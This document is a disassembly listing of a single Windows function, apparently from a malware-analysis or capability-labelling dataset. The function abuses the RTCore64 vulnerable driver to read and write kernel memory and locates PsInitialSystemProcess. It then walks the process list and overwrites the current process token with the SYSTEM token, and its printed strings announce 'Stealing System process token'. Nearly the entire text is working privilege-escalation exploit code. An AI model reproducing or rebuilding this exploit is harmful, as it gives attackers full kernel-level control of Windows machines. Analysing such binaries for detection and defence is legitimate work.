Function at 0x1400114f6
Capabilities:
Load ntoskrnl
Resolve ntoskrnl gadgets

Disassembly:
jmp 0x140014120
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x2c8
lea rbp, [rsp + 0x40]
lea rcx, [0x1400291a7]
call fcn.14001150a
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..RTCore64
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x140014190
lea rcx, str.____Unable_to_obtain_a_handle_to_the_device_object
call fcn.1400112ee
jmp 0x140014418
lea rcx, str.___Device_object_handle_has_been_obtained
call fcn.1400112ee
call fcn.140011316
mov qword [rbp + 0x28], rax
mov rdx, qword [rbp + 0x28]
lea rcx, str.___Ntoskrnl_base_address:__p
call fcn.1400112ee
lea rcx, [0x14001fb60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbp + 0x48], rax
lea rdx, str.PsInitialSystemProcess
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
sub rax, qword [rbp + 0x48]
mov qword [rbp + 0x68], rax
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x28]
add rcx, rax
mov rax, rcx
mov rdx, rax
mov rcx, qword [rbp + 8]
call fcn.140011177
mov qword [rbp + 0x88], rax
mov rdx, qword [rbp + 0x88]
lea rcx, str.___PsInitialSystemProcess_address:__p
call fcn.1400112ee
mov rax, qword [rbp + 0x2a8]
mov rax, qword [rax + 0x10]
mov rcx, qword [rbp + 0x88]
add rcx, rax
mov rax, rcx
mov rdx, rax
mov rcx, qword [rbp + 8]
call fcn.140011177
and rax, 0xfffffffffffffff0
mov qword [rbp + 0xa8], rax
mov rdx, qword [rbp + 0xa8]
lea rcx, str.___System_process_token:__p
call fcn.1400112ee
mov eax, dword [rbp + 0x2a0]
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0x2a8]
mov rax, qword [rax + 8]
mov rcx, qword [rbp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x2a8]
mov rax, qword [rax + 8]
mov rcx, qword [rbp + 0x108]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x2a8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov rdx, rax
mov rcx, qword [rbp + 8]
call fcn.140011177
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0xc8]
cmp qword [rbp + 0x148], rax
jne 0x1400142f4
jmp 0x140014333
mov rax, qword [rbp + 0x2a8]
mov rax, qword [rax + 8]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov rdx, rax
mov rcx, qword [rbp + 8]
call fcn.140011177
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0xe8]
cmp qword [rbp + 0x108], rax
jne 0x140014299
mov rax, qword [rbp + 0x2a8]
mov rax, qword [rax + 8]
mov rcx, qword [rbp + 0x108]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x108], rax
mov rdx, qword [rbp + 0x108]
lea rcx, str.___Current_process_address:__p
call fcn.1400112ee
mov rax, qword [rbp + 0x2a8]
mov rax, qword [rax + 0x10]
mov rcx, qword [rbp + 0x108]
add rcx, rax
mov rax, rcx
mov rdx, rax
mov rcx, qword [rbp + 8]
call fcn.140011177
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0x168]
and rax, 0xf
mov qword [rbp + 0x188], rax
mov rax, qword [rbp + 0x168]
and rax, 0xfffffffffffffff0
mov qword [rbp + 0x1a8], rax
mov rdx, qword [rbp + 0x1a8]
lea rcx, str.___Current_process_token:__p
call fcn.1400112ee
lea rcx, str.___Stealing_System_process_token_...
call fcn.1400112ee
mov rax, qword [rbp + 0xa8]
mov rcx, qword [rbp + 0x188]
or rcx, rax
mov rax, rcx
mov rcx, qword [rbp + 0x2a8]
mov rcx, qword [rcx + 0x10]
mov rdx, qword [rbp + 0x108]
add rdx, rcx
mov rcx, rdx
mov r8, rax
mov rdx, rcx
mov rcx, qword [rbp + 8]
call fcn.14001128a
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rsp, [rbp + 0x288]
pop rdi
pop rbp
ret